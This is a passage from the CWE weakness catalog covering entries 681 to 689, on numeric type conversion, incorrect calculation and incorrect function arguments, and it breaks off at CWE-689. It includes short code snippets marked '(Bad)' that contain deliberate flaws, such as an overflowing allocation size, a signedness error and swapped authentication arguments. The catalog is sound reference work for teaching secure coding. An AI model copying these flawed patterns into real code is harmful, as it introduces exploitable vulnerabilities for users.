**Structure** : Simple

**Abstraction** : Base

### Description

When converting from one data type to another, such as long to integer, data can be omitted or translated in a way that produces unexpected values. If the resulting values are used in a sensitive context, then dangerous behaviors may occur.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1435
ParentOf		192	Integer Coercion Error	463
ParentOf		194	Unexpected Sign Extension	471
ParentOf		195	Signed to Unsigned Conversion Error	474
ParentOf		196	Unsigned to Signed Conversion Error	477
ParentOf		197	Numeric Truncation Error	479
CanPrecede		682	Incorrect Calculation	1403

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		704	Incorrect Type Conversion or Cast	1435

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf		194	Unexpected Sign Extension	471
ParentOf		195	Signed to Unsigned Conversion Error	474
ParentOf		196	Unsigned to Signed Conversion Error	477
ParentOf		197	Numeric Truncation Error	479

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf		194	Unexpected Sign Extension	471
ParentOf		195	Signed to Unsigned Conversion Error	474
ParentOf		196	Unsigned to Signed Conversion Error	477

Nature	Type	ID	Name	Page
ParentOf		197	Numeric Truncation Error	479

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		136	Type Errors	2102
MemberOf		189	Numeric Errors	2103

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Other Integrity	Unexpected State Quality Degradation  <i>The program could wind up using the wrong number and generate incorrect results. If the number is used to allocate resources or make a security decision, then this could introduce a vulnerability.</i>	

### Potential Mitigations

#### Phase: Implementation

Avoid making conversion between numeric types. Always check for the allowed ranges.

### Demonstrative Examples

#### Example 1:

In the following Java example, a float literal is cast to an integer, thus causing a loss of precision.

*Example Language: Java*

*(Bad)*

```
int i = (int) 33457.8f;
```

#### Example 2:

This code adds a float and an integer together, casting the result to an integer.

*Example Language: PHP*

*(Bad)*

```
$floatVal = 1.8345;
$intVal = 3;
$result = (int)$floatVal + $intVal;
```

Normally, PHP will preserve the precision of this operation, making `$result = 4.8345`. After the cast to `int`, it is reasonable to expect PHP to follow rounding convention and set `$result = 5`. However, the explicit cast to `int` always rounds DOWN, so the final value of `$result` is 4. This behavior may have unintended consequences.

#### Example 3:

In this example the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned `int`, `amount` will be implicitly converted to unsigned.

*Example Language: C*

*(Bad)*

```
unsigned int readdata () {
```

```

int amount = 0;
...
if (result == ERROR)
    amount = -1;
...
return amount;
}

```

If the error condition in the code above is met, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

#### Example 4:

In this example, depending on the return value of `accessmainframe()`, the variable `amount` can hold a negative value when it is returned. Because the function is declared to return an unsigned value, `amount` will be implicitly cast to an unsigned number.

Example Language: C

(Bad)

```

unsigned int readdata () {
    int amount = 0;
    ...
    amount = accessmainframe();
    ...
    return amount;
}

```

If the return value of `accessmainframe()` is -1, then the return value of `readdata()` will be 4,294,967,295 on a system that uses 32-bit integers.

#### Observed Examples

Reference	Description
<b>CVE-2007-4268</b>	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) <a href="https://www.cve.org/CVERecord?id=CVE-2007-4268">https://www.cve.org/CVERecord?id=CVE-2007-4268</a>
<b>CVE-2007-4988</b>	Chain: signed short width value in image processor is sign extended during conversion to unsigned int, which leads to integer overflow and heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2007-4988">https://www.cve.org/CVERecord?id=CVE-2007-4988</a>
<b>CVE-2009-0231</b>	Integer truncation of length value leads to heap-based buffer overflow. <a href="https://www.cve.org/CVERecord?id=CVE-2009-0231">https://www.cve.org/CVERecord?id=CVE-2009-0231</a>
<b>CVE-2008-3282</b>	Size of a particular type changes for 64-bit platforms, leading to an integer truncation in document processor causes incorrect index to be generated. <a href="https://www.cve.org/CVERecord?id=CVE-2008-3282">https://www.cve.org/CVERecord?id=CVE-2008-3282</a>

#### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf	<b>C</b>	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2136
MemberOf	<b>C</b>	808	2010 Top 25 - Weaknesses On the Cusp	800	2149
MemberOf	<b>C</b>	848	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 5 - Numeric Types and Operations (NUM)	844	2157

Nature	Type	ID	Name	V	Page
MemberOf	C	867	2011 Top 25 - Weaknesses On the Cusp	900	2166
MemberOf	C	872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2168
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2238
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	2250
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP34-C	CWE More Abstract	Ensure that floating point conversions are within range of the new type
CERT C Secure Coding	INT15-C		Use intmax_t or uintmax_t for formatted IO on programmer-defined integer types
CERT C Secure Coding	INT31-C	CWE More Abstract	Ensure that integer conversions do not result in lost or misinterpreted data
CERT C Secure Coding	INT35-C		Evaluate integer expressions in a larger size before comparing or assigning to that size
The CERT Oracle Secure Coding Standard for Java (2011)	NUM12-J		Ensure conversions of numeric types to narrower types do not result in lost or misinterpreted data
Software Fault Patterns	SFP1		Glitch in computation
OMG ASCSM	ASCSM-CWE-681		

### References

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-682: Incorrect Calculation

**Weakness ID** : 682  
**Structure** : Simple  
**Abstraction** : Pillar

### Description

The product performs a calculation that generates incorrect or unintended results that are later used in security-critical decisions or resource management.

### Extended Description

When product performs a security-critical calculation incorrectly, it might lead to incorrect resource allocations, incorrect privilege assignments, or failed comparisons among other things. Many of the direct results of an incorrect calculation can lead to even larger problems such as failed protection mechanisms or even arbitrary code execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
MemberOf	V	1000	Research Concepts	2335
ParentOf	B	128	Wrap-around Error	324
ParentOf	B	131	Incorrect Calculation of Buffer Size	340
ParentOf	B	135	Incorrect Calculation of Multi-Byte String Length	355
ParentOf	B	190	Integer Overflow or Wraparound	453
ParentOf	B	191	Integer Underflow (Wrap or Wraparound)	460
ParentOf	B	193	Off-by-one Error	466
ParentOf	B	369	Divide By Zero	865
ParentOf	V	467	Use of sizeof() on a Pointer Type	1050
ParentOf	B	468	Incorrect Pointer Scaling	1053
ParentOf	B	469	Use of Pointer Subtraction to Determine Size	1055
ParentOf	B	1335	Incorrect Bitwise Shift of Integer	2058
ParentOf	B	1339	Insufficient Precision or Accuracy of a Real Number	2064
CanFollow	B	681	Incorrect Conversion between Numeric Types	1400
CanFollow	B	839	Numeric Range Comparison Without Minimum Check	1644
CanPrecede	B	170	Improper Null Termination	411

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ParentOf	B	131	Incorrect Calculation of Buffer Size	340
ParentOf	B	190	Integer Overflow or Wraparound	453
ParentOf	B	191	Integer Underflow (Wrap or Wraparound)	460
ParentOf	B	193	Off-by-one Error	466
ParentOf	B	369	Divide By Zero	865

*Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)*

Nature	Type	ID	Name	Page
ParentOf	B	131	Incorrect Calculation of Buffer Size	340
ParentOf	B	369	Divide By Zero	865

*Relevant to the view "CISQ Data Protection Measures" (CWE-1340)*

Nature	Type	ID	Name	Page
ParentOf	B	131	Incorrect Calculation of Buffer Size	340
ParentOf	B	369	Divide By Zero	865

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)



## Likelihood Of Exploit

High

## Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart  <i>If the incorrect calculation causes the program to move into an unexpected state, it may lead to a crash or impairment of service.</i>	
Integrity Confidentiality Availability	DoS: Crash, Exit, or Restart DoS: Resource Consumption (Other) Execute Unauthorized Code or Commands  <i>If the incorrect calculation is used in the context of resource allocation, it could lead to an out-of-bounds operation (CWE-119) leading to a crash or even arbitrary code execution. Alternatively, it may result in an integer overflow (CWE-190) and / or a resource consumption problem (CWE-400).</i>	
Access Control	Gain Privileges or Assume Identity  <i>In the context of privilege or permissions assignment, an incorrect calculation can provide an attacker with access to sensitive resources.</i>	
Access Control	Bypass Protection Mechanism  <i>If the incorrect calculation leads to an insufficient comparison (CWE-697), it may compromise a protection mechanism such as a validation routine and allow an attacker to bypass the security-critical code.</i>	

## Detection Methods

### Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. Specifically, manual static analysis is useful for evaluating the correctness of allocation calculations. This can be useful for detecting overflow conditions (CWE-190) or similar weaknesses that might have serious security impacts on the program.

*Effectiveness = High*

*These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.*

## Potential Mitigations

### Phase: Implementation

Understand your programming language's underlying representation and how it interacts with numeric calculation. Pay close attention to byte size discrepancies, precision, signed/unsigned distinctions, truncation, conversion and casting between types, "not-a-number" calculations, and how your language handles numbers that are too large or too small for its underlying representation.

### Phase: Implementation

*Strategy = Input Validation*

Perform input validation on any numeric input by ensuring that it is within the expected range. Enforce that the input meets both the minimum and maximum requirements for the expected range.

**Phase: Implementation**

Use the appropriate type for the desired action. For example, in C/C++, only use unsigned types for values that could never be negative, such as height, width, or other numbers related to quantity.

**Phase: Architecture and Design**

*Strategy = Language Selection*

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use languages, libraries, or frameworks that make it easier to handle numbers without unexpected consequences. Examples include safe integer handling packages such as SafeInt (C++) or IntegerLib (C or C++).

**Phase: Implementation**

*Strategy = Compilation or Build Hardening*

Examine compiler warnings closely and eliminate problems with potential security implications, such as signed / unsigned mismatch in memory operations, or use of uninitialized variables. Even if the weakness is rarely exploitable, a single failure may lead to the compromise of the entire system.

**Phase: Testing**

Use automated static analysis tools that target this type of weakness. Many modern techniques use data flow analysis to minimize the number of false positives. This is not a perfect solution, since 100% accuracy and coverage are not feasible.

**Phase: Testing**

Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

**Demonstrative Examples**

**Example 1:**

The following image processing code allocates a table for images.

*Example Language: C*

*(Bad)*

```
img_t table_ptr; /*struct containing img data, 10kB each*/
int num_imgs;
...
num_imgs = get_num_imgs();
table_ptr = (img_t*)malloc(sizeof(img_t)*num_imgs);
...
```

This code intends to allocate a table of size num\_imgs, however as num\_imgs grows large, the calculation determining the size of the list will eventually overflow (CWE-190). This will result in a very small list to be allocated instead. If the subsequent code operates on the list as if it were num\_imgs long, it may result in many types of out-of-bounds problems (CWE-119).

### Example 2:

This code attempts to calculate a football team's average number of yards gained per touchdown.

Example Language: Java

(Bad)

```
...
int touchdowns = team.getTouchdowns();
int yardsGained = team.getTotalYardage();
System.out.println(team.getName() + " averages " + yardsGained / touchdowns + "yards gained for every touchdown
scored");
...
```

The code does not consider the event that the team they are querying has not scored a touchdown, but has gained yardage. In that case, we should expect an ArithmeticException to be thrown by the JVM. This could lead to a loss of availability if our error handling code is not set up correctly.

### Example 3:

This example attempts to calculate the position of the second byte of a pointer.

Example Language: C

(Bad)

```
int *p = x;
char * second_char = (char *) (p + 1);
```

In this example, second\_char is intended to point to the second byte of p. But, adding 1 to p actually adds sizeof(int) to p, giving a result that is incorrect (3 bytes off on 32-bit platforms). If the resulting memory address is read, this could potentially be an information leak. If it is a write, it could be a security-critical write to unauthorized memory-- whether or not it is a buffer overflow. Note that the above code may also be wrong in other ways, particularly in a little endian environment.

### Observed Examples

Reference	Description
<b>CVE-2020-0022</b>	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787) <a href="https://www.cve.org/CVERecord?id=CVE-2020-0022">https://www.cve.org/CVERecord?id=CVE-2020-0022</a>
<b>CVE-2004-1363</b>	substitution overflow: buffer overflow using environment variables that are expanded after the length check is performed <a href="https://www.cve.org/CVERecord?id=CVE-2004-1363">https://www.cve.org/CVERecord?id=CVE-2004-1363</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		738	CERT C Secure Coding Standard (2008) Chapter 5 - Integers (INT)	734	2135
MemberOf		739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2136
MemberOf		752	2009 Top 25 - Risky Resource Management	750	2146
MemberOf		872	CERT C++ Secure Coding Section 04 - Integers (INT)	868	2168
MemberOf		873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2168
MemberOf		977	SFP Secondary Cluster: Design	888	2200

Nature	Type	ID	Name	V	Page
MemberOf	V	1003	Weaknesses for Simplified Mapping of Published Vulnerabilities	1003	2336
MemberOf	C	1137	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)	1133	2238
MemberOf	C	1158	SEI CERT C Coding Standard - Guidelines 04. Integers (INT)	1154	2249
MemberOf	C	1159	SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP)	1154	2250
MemberOf	C	1306	CISQ Quality Measures - Reliability	1305	2276
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	FLP32-C	CWE More Abstract	Prevent or detect domain and range errors in math functions
CERT C Secure Coding	INT07-C		Use only explicitly signed or unsigned char type for numeric values
CERT C Secure Coding	INT13-C		Use bitwise operators only on unsigned operands
CERT C Secure Coding	INT33-C	CWE More Abstract	Ensure that division and remainder operations do not result in divide-by-zero errors
CERT C Secure Coding	INT34-C	CWE More Abstract	Do not shift an expression by a negative number of bits or by greater than or equal to the number of bits that exist in the operand

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
128	Integer Attacks
129	Pointer Manipulation

### References

[REF-106]David LeBlanc and Niels Dekker. "SafeInt". < <http://safeint.codeplex.com/> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-683: Function Call With Incorrect Order of Arguments

**Weakness ID** : 683

**Structure** : Simple

**Abstraction** : Variant

### Description

The product calls a function, procedure, or routine, but the caller specifies the arguments in an incorrect order, leading to resultant weaknesses.

### Extended Description

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers or types of arguments, such as format strings in C. It also can occur in languages or environments that do not enforce strong typing.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	628	Function Call with Incorrectly Specified Arguments	1316

## Weakness Ordinalities

**Primary :**

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Potential Mitigations

### Phase: Implementation

Use the function, procedure, or routine as specified.

### Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

## Demonstrative Examples

### Example 1:

The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

*Example Language: PHP*

*(Bad)*

```
function authenticate($username, $password) {
    // authenticate user
    ...
}
authenticate($_POST['password'], $_POST['username']);
```

## Observed Examples

Reference	Description
<b>CVE-2006-7049</b>	Application calls functions with arguments in the wrong order, allowing attacker to bypass intended access restrictions. <a href="https://www.cve.org/CVERecord?id=CVE-2006-7049">https://www.cve.org/CVERecord?id=CVE-2006-7049</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212

## CWE-684: Incorrect Provision of Specified Functionality

**Weakness ID :** 684

**Structure :** Simple

**Abstraction :** Class

### Description

The code does not function according to its published specifications, potentially leading to incorrect usage.

### Extended Description

When providing functionality to an external party, it is important that the product behaves in accordance with the details specified. When requirements of nuances are not documented, the functionality may produce unintended behaviors for the caller, possibly leading to an exploitable state.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	710	Improper Adherence to Coding Standards	1444
ParentOf	E	392	Missing Report of Error Condition	901
ParentOf	E	393	Return of Wrong Status Code	903
ParentOf	E	440	Expected Behavior Violation	1004
ParentOf	C	446	UI Discrepancy for Security Feature	1014
ParentOf	C	451	User Interface (UI) Misrepresentation of Critical Information	1020
ParentOf	C	912	Hidden Functionality	1680
ParentOf	E	1245	Improper Finite State Machines (FSMs) in Hardware Logic	1882

### Weakness Ordinalities

**Indirect :**

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

#### Phase: Implementation

Ensure that your code strictly conforms to specifications.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	Fit	Page
MemberOf		735	CERT C Secure Coding Standard (2008) Chapter 2 - Preprocessor (PRE)		2134
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API		2213

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	PRE09-C		Do not replace secure functions with less secure functions

## CWE-685: Function Call With Incorrect Number of Arguments

**Weakness ID :** 685

**Structure :** Simple

**Abstraction :** Variant

### Description

The product calls a function, procedure, or routine, but the caller specifies too many arguments, or too few arguments, which may lead to undefined behavior and resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	1316

### Weakness Ordinalities

**Primary :**

### Applicable Platforms

**Language :** C (Prevalence = Undetermined)

**Language :** Perl (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Detection Methods

#### Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in languages or environments that do not require that functions always be called with the correct number of arguments, such as Perl.

### Potential Mitigations

#### Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally



produces the correct results or if the provided argument type is very similar to the expected argument type.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
Software Fault Patterns	SFP1		Glitch in computation
CERT C Secure Coding	EXP37-C	CWE More Specific	Call functions with the correct number and type of arguments
CERT C Secure Coding	FIO47-C	Imprecise	Use valid format strings

## CWE-686: Function Call With Incorrect Argument Type

**Weakness ID :** 686

**Structure :** Simple

**Abstraction :** Variant

### Description

The product calls a function, procedure, or routine, but the caller specifies an argument that is the wrong data type, which may lead to resultant weaknesses.

### Extended Description

This weakness is most likely to occur in loosely typed languages, or in strongly typed languages in which the types of variable arguments cannot be enforced at compilation time, or where there is implicit casting.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	E	628	Function Call with Incorrectly Specified Arguments	1316

### Weakness Ordinalities

**Primary :**

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Potential Mitigations

**Phase: Testing**

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	736	CERT C Secure Coding Standard (2008) Chapter 3 - Declarations and Initialization (DCL)	734	2134
MemberOf	C	739	CERT C Secure Coding Standard (2008) Chapter 6 - Floating Point (FLP)	734	2136
MemberOf	C	741	CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)	734	2138
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)	734	2144
MemberOf	C	873	CERT C++ Secure Coding Section 05 - Floating Point Arithmetic (FLP)	868	2168
MemberOf	C	875	CERT C++ Secure Coding Section 07 - Characters and Strings (STR)	868	2169
MemberOf	C	998	SFP Secondary Cluster: Glitch in Computation	888	2212
MemberOf	C	1157	SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP)	1154	2248
MemberOf	C	1163	SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO)	1154	2252

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	EXP37-C	CWE More Specific	Call functions with the correct number and type of arguments
CERT C Secure Coding	FIO47-C	Imprecise	Use valid format strings
CERT C Secure Coding	POS34-C		Do not call putenv() with a pointer to an automatic variable as the argument
CERT C Secure Coding	STR37-C		Arguments to character handling functions must be representable as an unsigned char
Software Fault Patterns	SFP1		Glitch in computation

**CWE-687: Function Call With Incorrectly Specified Argument Value**

**Weakness ID :** 687

**Structure :** Simple

**Abstraction :** Variant



**Description**

The product calls a function, procedure, or routine, but the caller specifies an argument that contains the wrong value, which may lead to resultant weaknesses.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	1316
ParentOf		560	Use of umask() with chmod-style Argument	1200

## Weakness Ordinalities

**Primary :**

## Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

## Detection Methods

### Manual Static Analysis

This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

## Demonstrative Examples

### Example 1:

This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.





*Example Language: Perl*

*(Bad)*

```
sub ReportAuth {
    my ($username, $result, $fatal) = @_ ;
    PrintLog("auth: username=%s, result=%d", $username, $result);
    if (($result ne "success") && $fatal) {
        die "Failed!\n";
    }
}
sub PrivilegedFunc
{
    my $result = CheckAuth($username);
    ReportAuth($username, $result, 0);
    DoReallyImportantStuff();
}
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		742	CERT C Secure Coding Standard (2008) Chapter 9 - Memory Management (MEM)	734	2139
MemberOf		876	CERT C++ Secure Coding Section 08 - Memory Management (MEM)	868	2170
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206

## Notes

### Relationship

When primary, this weakness is most likely to occur in rarely-tested code, since the wrong value can change the semantic meaning of the program's execution and lead to obviously-incorrect behavior. It can also be resultant from issues in which the program assigns the wrong value to a variable, and that variable is later used in a function call. In that sense, this issue could be argued as having chaining relationships with many implementation errors in CWE.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	MEM04-C		Do not perform zero length allocations
Software Fault Patterns	SFP24		Tainted input to command

## CWE-688: Function Call With Incorrect Variable or Reference as Argument

**Weakness ID** : 688

**Structure** : Simple

**Abstraction** : Variant


### Description

The product calls a function, procedure, or routine, but the caller specifies the wrong variable or reference as one of the arguments, which may lead to undefined behavior and resultant weaknesses.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		628	Function Call with Incorrectly Specified Arguments	1316

### Weakness Ordinalities

**Primary** :

### Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : Perl (Prevalence = Undetermined)

### Common Consequences

Scope	Impact	Likelihood
Other	Quality Degradation	

### Detection Methods

#### Other

While this weakness might be caught by the compiler in some languages, it can occur more frequently in cases in which the called function accepts variable numbers of arguments, such as format strings in C. It also can occur in loosely typed languages or environments. This might require an understanding of intended program behavior or design to determine whether the value is incorrect.

## Potential Mitigations

### Phase: Testing

Because this function call often produces incorrect behavior it will usually be detected during testing or normal operation of the product. During testing exercise all possible control paths will typically expose this weakness except in rare cases when the incorrect function call accidentally produces the correct results or if the provided argument type is very similar to the expected argument type.

## Demonstrative Examples

### Example 1:

In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN\_ROLES array rather than the user roles.

Example Language: Java

(Bad)

```
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

## Observed Examples

Reference	Description
<b>CVE-2005-2548</b>	Kernel code specifies the wrong variable in first argument, leading to resultant NULL pointer dereference. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2548">https://www.cve.org/CVERecord?id=CVE-2005-2548</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		998	SFP Secondary Cluster: Glitch in Computation	888	2212

## CWE-689: Permission Race Condition During Resource Copy

**Weakness ID :** 689  
**Structure :** Composite  
**Abstraction :** Compound

### Description

The product, while copying or cloning a resource, does not set the resource's permissions or access control until the copy is complete, leaving the resource exposed to other spheres while the copy is taking place.


